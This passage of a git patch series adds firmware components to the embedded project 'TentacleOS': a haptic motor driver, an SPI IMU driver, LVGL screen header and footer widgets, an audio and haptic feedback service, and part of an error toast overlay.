b/firmware_p4/components/Drivers/drv2605l/include/drv2605l.h new file mode 100644 index 000000000..a61b0b39d --- /dev/null +++ b/firmware_p4/components/Drivers/drv2605l/include/drv2605l.h @@ -0,0 +1,78 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +/** + * @file drv2605l.h + * @brief Minimal TI DRV2605L haptic driver (I2C @ 0x5A, EN on GPIO37). + * + * Uses the chip's internal ROM waveform library. RTP (real-time playback) + * is exposed for variable-intensity feedback. + */ + +#ifndef DRV2605L_H +#define DRV2605L_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +#include "esp_err.h" + +/** @brief I2C 7-bit slave address of the DRV2605L. */ +#define DRV2605L_I2C_ADDR 0x5A + +/** + * @brief Initialise the DRV2605L driver. + * + * @return ESP_OK on success, otherwise an esp_err_t error code. + */ +esp_err_t drv2605l_init(void); + +/** + * @brief Play a single library waveform effect (1..123) once. + * + * @param effect Effect ID from the ROM library. + */ +esp_err_t drv2605l_play_effect(uint8_t effect); + +/** @brief Stop any currently-playing waveform. */ +esp_err_t drv2605l_stop(void); + +/** + * @brief Enter RTP mode and apply an 8-bit signed intensity. + * + * @param intensity 0..127 -> forward drive; useful range 0..127. + */ +esp_err_t drv2605l_set_rtp(uint8_t intensity); + +/** @brief Last-read DEVICE_ID register (0 if not yet probed). */ +uint8_t drv2605l_device_id(void); + +/** + * @brief Run the DRV2605L ERM auto-calibration (MODE=0x07) against the actuator + * and return to internal-trigger mode. Uses the rated/overdrive/feedback + * registers already programmed by drv2605l_init(). Blocks ~up to 1.5 s + * while polling GO. Returns ESP_OK if DIAG_RESULT passed, else ESP_FAIL. + * Opt-in (not run at boot) so it never regresses the working manual tune. + */ +esp_err_t drv2605l_autocal(void); + +#ifdef __cplusplus +} +#endif + +#endif // DRV2605L_H From 8ec2db8296388e19cf10345a56d6be14c7db94a5 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 11:00:44 -0300 Subject: [PATCH 094/572] feat(drivers): add QMI8658A IMU driver --- .../Drivers/qmi8658a/include/qmi8658a.h | 78 +++++++ .../components/Drivers/qmi8658a/qmi8658a.c | 194 ++++++++++++++++++ 2 files changed, 272 insertions(+) create mode 100644 firmware_p4/components/Drivers/qmi8658a/include/qmi8658a.h create mode 100644 firmware_p4/components/Drivers/qmi8658a/qmi8658a.c diff --git a/firmware_p4/components/Drivers/qmi8658a/include/qmi8658a.h b/firmware_p4/components/Drivers/qmi8658a/include/qmi8658a.h new file mode 100644 index 000000000..984836664 --- /dev/null +++ b/firmware_p4/components/Drivers/qmi8658a/include/qmi8658a.h @@ -0,0 +1,78 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +/** + * @file qmi8658a.h + * @brief Minimal QST QMI8658A IMU driver (SPI). + * + * Provides chip-id sanity check plus configuration of the accel and gyro + * blocks with fixed-but-reasonable defaults (+/-4g / +/-512dps @ 250 Hz) and + * converted reads in g / dps. + */ + +#ifndef QMI8658A_H +#define QMI8658A_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include + +#include "esp_err.h" + +/** @brief Expected WHO_AM_I value identifying the QMI8658A. */ +#define QMI8658A_CHIP_ID_EXPECTED 0x05 + +/** @brief Three-axis vector of float samples (g or dps). */ +typedef struct { + float x; + float y; + float z; +} qmi8658a_vec3_t; + +/** @brief Initialize the QMI8658A SPI driver. */ +esp_err_t qmi8658a_init(void); + +/** @brief Read the WHO_AM_I register (0x00). 0x05 = QMI8658A. */ +esp_err_t qmi8658a_read_chip_id(uint8_t *out_id); + +/** + * @brief Configure the IMU with the driver's default profile. + * + * CTRL1: auto-increment serial reads, little-endian. + * CTRL2: accel +/-4g, ODR 250 Hz. + * CTRL3: gyro +/-512 dps, ODR 250 Hz. + * CTRL7: accel + gyro enabled. + * + * Must be called once after qmi8658a_init() before read_accel/read_gyro. + */ +esp_err_t qmi8658a_configure(void); + +/** @brief Read accelerometer in g (range +/-4g). */ +esp_err_t qmi8658a_read_accel(qmi8658a_vec3_t *out_g); + +/** @brief Read gyroscope in degrees per second (range +/-512 dps). */ +esp_err_t qmi8658a_read_gyro(qmi8658a_vec3_t *out_dps); + +/** @brief True if the accel/gyro have produced a fresh sample since the last read. */ +esp_err_t qmi8658a_data_ready(bool *out_accel, bool *out_gyro); + +#ifdef __cplusplus +} +#endif + +#endif // QMI8658A_H diff --git a/firmware_p4/components/Drivers/qmi8658a/qmi8658a.c b/firmware_p4/components/Drivers/qmi8658a/qmi8658a.c new file mode 100644 index 000000000..48ac9dbe3 --- /dev/null +++ b/firmware_p4/components/Drivers/qmi8658a/qmi8658a.c @@ -0,0 +1,194 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "qmi8658a.h" + +#include + +#include "driver/spi_master.h" +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "pin_def.h" + +static const char *TAG = "QMI8658A"; + +#define QMI8658A_REG_WHO_AM_I 0x00 +#define QMI8658A_REG_CTRL1 0x02 +#define QMI8658A_REG_CTRL2 0x03 +#define QMI8658A_REG_CTRL3 0x04 +#define QMI8658A_REG_CTRL7 0x08 +#define QMI8658A_REG_STATUS0 0x2E +#define QMI8658A_REG_AX_L 0x35 +#define QMI8658A_REG_GX_L 0x3B +#define QMI8658A_REG_RESET 0x60 +#define QMI8658A_RESET_MAGIC 0xB0 + +#define QMI8658A_CTRL1_VALUE 0x40 + +#define QMI8658A_CTRL2_VALUE ((0x1 << 4) | 0x06) +#define QMI8658A_ACCEL_LSB_PER_G 8192.0f + +#define QMI8658A_CTRL3_VALUE ((0x5 << 4) | 0x06) +#define QMI8658A_GYRO_LSB_PER_DPS 64.0f + +#define QMI8658A_CTRL7_VALUE 0x03 + +#define QMI8658A_SPI_FREQ_HZ (4 * 1000 * 1000) + +static spi_device_handle_t s_spi = NULL; + +static esp_err_t read_regs(uint8_t reg, uint8_t *buf, size_t n) { + if (s_spi == NULL || buf == NULL || n == 0 || n > 16) { + return ESP_ERR_INVALID_ARG; + } + uint8_t tx[1 + 16] = {0}; + uint8_t rx[1 + 16] = {0}; + tx[0] = reg | 0x80; + spi_transaction_t t = { + .length = 8 * (1 + n), + .tx_buffer = tx, + .rx_buffer = rx, + }; + esp_err_t ret = spi_device_polling_transmit(s_spi, &t); + if (ret != ESP_OK) { + return ret; + } + memcpy(buf, &rx[1], n); + return ESP_OK; +} + +static esp_err_t write_reg(uint8_t reg, uint8_t val) { + if (s_spi == NULL) { + return ESP_ERR_INVALID_STATE; + } + uint8_t tx[2] = {reg & 0x7F, val}; + spi_transaction_t t = { + .length = 16, + .tx_buffer = tx, + }; + return spi_device_polling_transmit(s_spi, &t); +} + +esp_err_t qmi8658a_init(void) { + if (s_spi != NULL) { + return ESP_OK; + } + spi_device_interface_config_t devcfg = { + .clock_speed_hz = QMI8658A_SPI_FREQ_HZ, + .mode = 0, + .spics_io_num = GPIO_QMI8658A_CS_PIN, + .queue_size = 2, + }; + esp_err_t ret = spi_bus_add_device(SPI3_HOST, &devcfg, &s_spi); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "spi_bus_add_device: %s", esp_err_to_name(ret)); + return ret; + } + return ESP_OK; +} + +esp_err_t qmi8658a_read_chip_id(uint8_t *out_id) { + if (out_id == NULL) { + return ESP_ERR_INVALID_ARG; + } + return read_regs(QMI8658A_REG_WHO_AM_I, out_id, 1); +} + +static esp_err_t write_verify(uint8_t reg, uint8_t val) { + esp_err_t ret = write_reg(reg, val); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "write reg 0x%02X failed: %s", reg, esp_err_to_name(ret)); + return ret; + } + vTaskDelay(pdMS_TO_TICKS(2)); + uint8_t got = 0xAA; + ret = read_regs(reg, &got, 1); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "readback reg 0x%02X failed: %s", reg, esp_err_to_name(ret)); + return ret; + } + ESP_LOGI(TAG, + "wrote 0x%02X -> reg 0x%02X, readback 0x%02X %s", + val, + reg, + got, + (got == val) ? "OK" : "MISMATCH"); + return ESP_OK; +} + +esp_err_t qmi8658a_configure(void) { + if (s_spi == NULL) + return ESP_ERR_INVALID_STATE; + bool acq = (spi_device_acquire_bus(s_spi, pdMS_TO_TICKS(5000)) == ESP_OK); + if (!acq) { + ESP_LOGW(TAG, "configure: acquire_bus timeout — proceeding unlocked"); + } + esp_err_t ret; + ret = write_verify(QMI8658A_REG_CTRL1, QMI8658A_CTRL1_VALUE); + if (ret == ESP_OK) + ret = write_verify(QMI8658A_REG_CTRL2, QMI8658A_CTRL2_VALUE); + if (ret == ESP_OK) + ret = write_verify(QMI8658A_REG_CTRL3, QMI8658A_CTRL3_VALUE); + if (ret == ESP_OK) + ret = write_verify(QMI8658A_REG_CTRL7, QMI8658A_CTRL7_VALUE); + if (acq) { + spi_device_release_bus(s_spi); + } + if (ret != ESP_OK) + return ret; + vTaskDelay(pdMS_TO_TICKS(20)); + return ESP_OK; +} + +static esp_err_t read_vec3(uint8_t reg, float lsb_per_unit, qmi8658a_vec3_t *out) { + if (out == NULL) { + return ESP_ERR_INVALID_ARG; + } + uint8_t buf[6]; + esp_err_t ret = read_regs(reg, buf, sizeof(buf)); + if (ret != ESP_OK) { + return ret; + } + int16_t raw_x = (int16_t)((buf[1] << 8) | buf[0]); + int16_t raw_y = (int16_t)((buf[3] << 8) | buf[2]); + int16_t raw_z = (int16_t)((buf[5] << 8) | buf[4]); + out->x = (float)raw_x / lsb_per_unit; + out->y = (float)raw_y / lsb_per_unit; + out->z = (float)raw_z / lsb_per_unit; + return ESP_OK; +} + +esp_err_t qmi8658a_read_accel(qmi8658a_vec3_t *out_g) { + return read_vec3(QMI8658A_REG_AX_L, QMI8658A_ACCEL_LSB_PER_G, out_g); +} + +esp_err_t qmi8658a_read_gyro(qmi8658a_vec3_t *out_dps) { + return read_vec3(QMI8658A_REG_GX_L, QMI8658A_GYRO_LSB_PER_DPS, out_dps); +} + +esp_err_t qmi8658a_data_ready(bool *out_accel, bool *out_gyro) { + uint8_t status = 0; + esp_err_t ret = read_regs(QMI8658A_REG_STATUS0, &status, 1); + if (ret != ESP_OK) { + return ret; + } + if (out_accel) + *out_accel = (status & 0x01) != 0; + if (out_gyro) + *out_gyro = (status & 0x02) != 0; + return ESP_OK; +} From c809a3a97a78d1e1f61ad2d1e0de13da512fcb48 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 11:01:58 -0300 Subject: [PATCH 095/572] feat(ui): add ui_chrome standardized screen header/footer --- .../ui/components/chrome/include/ui_chrome.h | 55 +++++++++ .../ui/components/chrome/ui_chrome.c | 110 ++++++++++++++++++ 2 files changed, 165 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/components/chrome/include/ui_chrome.h create mode 100644 firmware_p4/components/Applications/ui/components/chrome/ui_chrome.c diff --git a/firmware_p4/components/Applications/ui/components/chrome/include/ui_chrome.h b/firmware_p4/components/Applications/ui/components/chrome/include/ui_chrome.h new file mode 100644 index 000000000..c41c978db --- /dev/null +++ b/firmware_p4/components/Applications/ui/components/chrome/include/ui_chrome.h @@ -0,0 +1,55 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef UI_CHROME_H +#define UI_CHROME_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "lvgl.h" + +// Standardized screen chrome — the SAME header + footer the menu_component +// draws on list submenus, exposed so hand-rolled "activity" screens (NFC/RFID +// read/write/emulate animations, etc.) get the identical look. Place the +// screen's own content between them (top = UI_CHROME_HEADER_H, bottom = +// UI_CHROME_FOOTER_H). Both span the full width and re-derive from LCD_H_RES, +// so they follow rotation. +#define UI_CHROME_HEADER_H 42 +#define UI_CHROME_FOOTER_H 22 + +/** + * @brief Full-width top bar: raised surface, icon pinned in the left corner + * (optional; NULL to omit), centered accent title, accent underline. + * @return the header object. + */ +lv_obj_t *ui_chrome_header(lv_obj_t *parent, const char *title, const char *icon_path); + +/** + * @brief Full-width bottom bar: raised surface, top accent border, centered + * dimmed hint text (the button instructions). + * @return the footer object. + */ +lv_obj_t *ui_chrome_footer(lv_obj_t *parent, const char *hint); + +/** Update the hint text of a footer returned by ui_chrome_footer(). */ +void ui_chrome_footer_set_text(lv_obj_t *footer, const char *hint); + +#ifdef __cplusplus +} +#endif + +#endif // UI_CHROME_H diff --git a/firmware_p4/components/Applications/ui/components/chrome/ui_chrome.c b/firmware_p4/components/Applications/ui/components/chrome/ui_chrome.c new file mode 100644 index 000000000..e062776eb --- /dev/null +++ b/firmware_p4/components/Applications/ui/components/chrome/ui_chrome.c @@ -0,0 +1,110 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "ui_chrome.h" + +#include "st7789.h" + +#include "assets_manager.h" +#include "ui_theme.h" + +// Kept in lock-step with menu_component_ui.c so the chrome on an activity +// screen is pixel-identical to the chrome on a list submenu. +#define ICON_CELL 26 + +static lv_font_t *chrome_font = NULL; + +static lv_obj_t *make_icon(lv_obj_t *parent, const char *icon_path) { + if (!icon_path) + return NULL; + lv_image_dsc_t *dsc = assets_get(icon_path); + if (!dsc) + return NULL; + lv_obj_t *img = lv_image_create(parent); + lv_image_set_src(img, dsc); + lv_obj_set_size(img, ICON_CELL, ICON_CELL); + lv_image_set_inner_align(img, LV_IMAGE_ALIGN_CONTAIN); // normalize to a constant box + return img; +} + +lv_obj_t *ui_chrome_header(lv_obj_t *parent, const char *title, const char *icon_path) { + if (!chrome_font) + chrome_font = lv_binfont_create("A:assets/fonts/Inter.bin"); + + lv_obj_t *hdr = lv_obj_create(parent); + lv_obj_set_size(hdr, LCD_H_RES, UI_CHROME_HEADER_H); + lv_obj_align(hdr, LV_ALIGN_TOP_LEFT, 0, 0); + lv_obj_remove_flag(hdr, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(hdr, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_style_bg_color(hdr, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_opa(hdr, LV_OPA_COVER, 0); + lv_obj_set_style_bg_grad_dir(hdr, LV_GRAD_DIR_NONE, 0); + lv_obj_set_style_radius(hdr, 0, 0); + lv_obj_set_style_pad_all(hdr, 0, 0); + lv_obj_set_style_border_width(hdr, 2, 0); + lv_obj_set_style_border_color(hdr, current_theme.border_accent, 0); + lv_obj_set_style_border_side(hdr, LV_BORDER_SIDE_BOTTOM, 0); + + if (icon_path) { + lv_obj_t *ic = make_icon(hdr, icon_path); + if (ic) + lv_obj_align(ic, LV_ALIGN_LEFT_MID, 8, 0); + } + + lv_obj_t *lbl = lv_label_create(hdr); + lv_label_set_text(lbl, title ? title : ""); + lv_obj_set_style_text_color(lbl, current_theme.border_accent, 0); + lv_obj_set_style_text_font(lbl, chrome_font ? chrome_font : &lv_font_montserrat_14, 0); + lv_obj_align(lbl, LV_ALIGN_CENTER, 0, 0); + + return hdr; +} + +lv_obj_t *ui_chrome_footer(lv_obj_t *parent, const char *hint) { + lv_obj_t *ft = lv_obj_create(parent); + lv_obj_set_size(ft, LCD_H_RES, UI_CHROME_FOOTER_H); + lv_obj_align(ft, LV_ALIGN_BOTTOM_LEFT, 0, 0); + lv_obj_remove_flag(ft, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(ft, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_style_bg_color(ft, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_opa(ft, LV_OPA_COVER, 0); + lv_obj_set_style_radius(ft, 0, 0); + lv_obj_set_style_pad_all(ft, 0, 0); + lv_obj_set_style_border_width(ft, 2, 0); + lv_obj_set_style_border_color(ft, current_theme.border_interface, 0); + lv_obj_set_style_border_side(ft, LV_BORDER_SIDE_TOP, 0); + + lv_obj_t *lbl = lv_label_create(ft); + lv_label_set_text(lbl, hint ? hint : ""); + lv_obj_set_style_text_color(lbl, current_theme.text_main, 0); + lv_obj_set_style_text_opa(lbl, LV_OPA_70, 0); + lv_obj_set_style_text_font(lbl, &lv_font_montserrat_12, 0); + lv_obj_center(lbl); + + return ft; +} + +void ui_chrome_footer_set_text(lv_obj_t *footer, const char *hint) { + if (!footer) + return; + uint32_t n = lv_obj_get_child_count(footer); + for (uint32_t i = 0; i < n; i++) { + lv_obj_t *c = lv_obj_get_child(footer, i); + if (lv_obj_check_type(c, &lv_label_class)) { + lv_label_set_text(c, hint ? hint : ""); + return; + } + } +} From c4230e06ce375489abdf1011f2288e179befdbcc Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 11:07:55 -0300 Subject: [PATCH 096/572] feat(ui): add ui_feedback audio/haptic feedback service --- .../components/feedback/include/ui_feedback.h | 62 ++++++++++++++ .../ui/components/feedback/ui_feedback.c | 84 +++++++++++++++++++ 2 files changed, 146 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/components/feedback/include/ui_feedback.h create mode 100644 firmware_p4/components/Applications/ui/components/feedback/ui_feedback.c diff --git a/firmware_p4/components/Applications/ui/components/feedback/include/ui_feedback.h b/firmware_p4/components/Applications/ui/components/feedback/include/ui_feedback.h new file mode 100644 index 000000000..f5f608bf0 --- /dev/null +++ b/firmware_p4/components/Applications/ui/components/feedback/include/ui_feedback.h @@ -0,0 +1,62 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef UI_FEEDBACK_H +#define UI_FEEDBACK_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * @brief UI audio + haptic feedback cue identifiers. + * + * Sound plays on navigation and on every function read/write/emulate; + * vibration is added only on function results (read/write/emulate), never on + * plain button presses. Cues run on a short-lived worker task so UI callers + * never block, and overlapping cues are dropped while one is still playing. + */ +typedef enum { + UI_FB_NAV = 0, ///< Menu item changed: short tick, no vibration. + UI_FB_SELECT, ///< Open/confirm: soft blip, no vibration. + UI_FB_READ, ///< Function READ succeeded: rising tone + vibration. + UI_FB_WRITE, ///< Function WRITE/SAVE succeeded: two-tone + vibration. + UI_FB_EMULATE, ///< Function is EMULATING: pulse + vibration. + UI_FB_BOOT, ///< Startup chime, no vibration. + UI_FB_COUNT ///< Sentinel; number of cue kinds. +} ui_feedback_kind_t; + +/** + * @brief Initialize the feedback subsystem. + * + * Idempotent; call once at UI init. + */ +void ui_feedback_init(void); + +/** + * @brief Fire a feedback cue. + * + * Non-blocking and safe to call from any UI callback. The cue is dropped if + * another cue is already playing or if @p kind is out of range. + * + * @param kind Cue to play. + */ +void ui_feedback(ui_feedback_kind_t kind); + +#ifdef __cplusplus +} +#endif + +#endif // UI_FEEDBACK_H diff --git a/firmware_p4/components/Applications/ui/components/feedback/ui_feedback.c b/firmware_p4/components/Applications/ui/components/feedback/ui_feedback.c new file mode 100644 index 000000000..5191f6bd1 --- /dev/null +++ b/firmware_p4/components/Applications/ui/components/feedback/ui_feedback.c @@ -0,0 +1,84 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "ui_feedback.h" + +#include +#include + +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "audio_i2s.h" +#include "drv2605l.h" + +#define FB_TASK_STACK_SIZE 4096 +#define FB_TASK_PRIORITY 4 + +#define DRV_EFFECT_STRONG_CLICK 1 +#define DRV_EFFECT_SHARP_CLICK 4 +#define DRV_EFFECT_DOUBLE_CLICK 10 + +typedef struct { + const audio_note_t *notes; + int count; + float amp; + uint8_t haptic; +} fb_def_t; + +static const audio_note_t SND_NAV[] = {{2000, 32}}; +static const audio_note_t SND_SELECT[] = {{1568, 40}}; +static const audio_note_t SND_READ[] = {{1318, 60}, {1976, 95}}; +static const audio_note_t SND_WRITE[] = {{1568, 45}, {2093, 80}}; +static const audio_note_t SND_EMULATE[] = {{1046, 70}, {1568, 95}}; +static const audio_note_t SND_BOOT[] = {{523, 120}, {659, 120}, {784, 175}}; + +static const fb_def_t DEFS[UI_FB_COUNT] = { + [UI_FB_NAV] = {SND_NAV, 1, 0.30f, 0}, + [UI_FB_SELECT] = {SND_SELECT, 1, 0.32f, 0}, + [UI_FB_READ] = {SND_READ, 2, 0.40f, DRV_EFFECT_STRONG_CLICK}, + [UI_FB_WRITE] = {SND_WRITE, 2, 0.40f, DRV_EFFECT_DOUBLE_CLICK}, + [UI_FB_EMULATE] = {SND_EMULATE, 2, 0.40f, DRV_EFFECT_SHARP_CLICK}, + [UI_FB_BOOT] = {SND_BOOT, 3, 0.35f, 0}, +}; + +static volatile bool s_busy = false; + +static void fb_task(void *arg); + +void ui_feedback_init(void) {} + +void ui_feedback(ui_feedback_kind_t kind) { + if ((int)kind < 0 || kind >= UI_FB_COUNT) + return; + if (s_busy) + return; + s_busy = true; + if (xTaskCreate( + fb_task, "ui_fb", FB_TASK_STACK_SIZE, (void *)(intptr_t)kind, FB_TASK_PRIORITY, NULL) != + pdPASS) + s_busy = false; +} + +static void fb_task(void *arg) { + ui_feedback_kind_t k = (ui_feedback_kind_t)(intptr_t)arg; + const fb_def_t *d = &DEFS[k]; + if (d->haptic) + (void)drv2605l_play_effect(d->haptic); + if (d->notes && d->count > 0) + (void)audio_i2s_play_song(d->notes, d->count, d->amp); + s_busy = false; + vTaskDelete(NULL); +} From d67cd7b6bb2a81d73dbf69c2271ce8c2389ec3bf Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 11:08:46 -0300 Subject: [PATCH 097/572] feat(ui): add notify and error global toast overlays --- .../ui/components/error/error_ui.c | 174 +++++++++++++++++ .../ui/components/error/include/error_ui.h | 34 ++++ .../ui/components/notify/include/notify_ui.h | 43 +++++ .../ui/components/notify/notify_ui.c | 178 ++++++++++++++++++ 4 files changed, 429 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/components/error/error_ui.c create mode 100644 firmware_p4/components/Applications/ui/components/error/include/error_ui.h create mode 100644 firmware_p4/components/Applications/ui/components/notify/include/notify_ui.h create mode 100644 firmware_p4/components/Applications/ui/components/notify/notify_ui.c diff --git a/firmware_p4/components/Applications/ui/components/error/error_ui.c b/firmware_p4/components/Applications/ui/components/error/error_ui.c new file mode 100644 index 000000000..c6dccdb6b --- /dev/null +++ b/firmware_p4/components/Applications/ui/components/error/error_ui.c @@ -0,0 +1,174 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "error_ui.h" + +#include "lvgl.h" + +#include "ui_feedback.h" + +#define ERROR_MS 5000 // errors linger a bit longer than notifications +#define SLIDE_MS 220 +#define TOP_Y 8 +#define BANNER_W 224 +#define COL_TXT_W 150 +#define COL_ERR 0xFF3B47 + +static lv_obj_t *s_banner = NULL; +static lv_timer_t *s_timer = NULL; + +static void slide_y_cb(void *var, int32_t v) { + lv_obj_set_style_translate_y((lv_obj_t *)var, v, 0); +} +static void opa_cb(void *var, int32_t v) { + lv_obj_set_style_opa((lv_obj_t *)var, (lv_opa_t)v, 0); +} + +static void gone_cb(lv_anim_t *a) { + (void)a; + if (s_banner != NULL) { + lv_obj_del(s_banner); + s_banner = NULL; + } +} + +static void clear_now(void) { + if (s_timer != NULL) { + lv_timer_delete(s_timer); + s_timer = NULL; + } + if (s_banner != NULL) { + lv_anim_delete(s_banner, NULL); + lv_obj_del(s_banner); + s_banner = NULL; + } +} + +static void dismiss_cb(lv_timer_t *t) { + (void)t; + s_timer = NULL; + if (s_banner == NULL) + return; + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, s_banner); + lv_anim_set_exec_cb(&a, slide_y_cb); + lv_anim_set_values(&a, 0, -60); + lv_anim_set_duration(&a, SLIDE_MS); + lv_anim_set_path_cb(&a, lv_anim_path_ease_in); + lv_anim_set_completed_cb(&a, gone_cb); + lv_anim_start(&a); + + lv_anim_t f; + lv_anim_init(&f); + lv_anim_set_var(&f, s_banner); + lv_anim_set_exec_cb(&f, opa_cb); + lv_anim_set_values(&f, LV_OPA_COVER, LV_OPA_TRANSP); + lv_anim_set_duration(&f, SLIDE_MS); + lv_anim_start(&f); +} + +void error_show(const char *title, const char *msg) { + clear_now(); // replace any current error banner + + lv_color_t err = lv_color_hex(COL_ERR); + lv_obj_t *b = lv_obj_create(lv_layer_top()); + s_banner = b; + lv_obj_remove_flag(b, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(b, LV_OBJ_FLAG_CLICKABLE); // never steals input + lv_obj_set_width(b, BANNER_W); + lv_obj_set_height(b, LV_SIZE_CONTENT); + lv_obj_set_style_radius(b, 14, 0); + lv_obj_set_style_bg_color(b, lv_color_hex(0x1B0509), 0); + lv_obj_set_style_bg_grad_color(b, lv_color_hex(0x2A0D12), 0); + lv_obj_set_style_bg_grad_dir(b, LV_GRAD_DIR_VER, 0); + lv_obj_set_style_bg_opa(b, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(b, 1, 0); + lv_obj_set_style_border_color(b, err, 0); + lv_obj_set_style_shadow_width(b, 20, 0); + lv_obj_set_style_shadow_color(b, err, 0); + lv_obj_set_style_shadow_spread(b, -6, 0); + lv_obj_set_style_shadow_ofs_y(b, 6, 0); + lv_obj_set_style_pad_all(b, 10, 0); + lv_obj_set_flex_flow(b, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align(b, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + lv_obj_set_style_pad_column(b, 11, 0); + lv_obj_align(b, LV_ALIGN_TOP_MID, 0, TOP_Y); + + lv_obj_t *chip = lv_obj_create(b); + lv_obj_remove_flag(chip, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(chip, 40, 40); + lv_obj_set_style_radius(chip, 11, 0); + lv_obj_set_style_bg_color(chip, err, 0); + lv_obj_set_style_bg_opa(chip, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(chip, 0, 0); + lv_obj_set_style_pad_all(chip, 0, 0); + lv_obj_t *x = lv_label_create(chip); + lv_label_set_text(x, LV_SYMBOL_CLOSE); + lv_obj_set_style_text_color(x, lv_color_hex(0xFFFFFF), 0); + lv_obj_set_style_text_font(x, &lv_font_montserrat_16, 0); + lv_obj_center(x); + + // Fixed-width text column so the title dots and the message wraps cleanly. + lv_obj_t *col = lv_obj_create(b); + 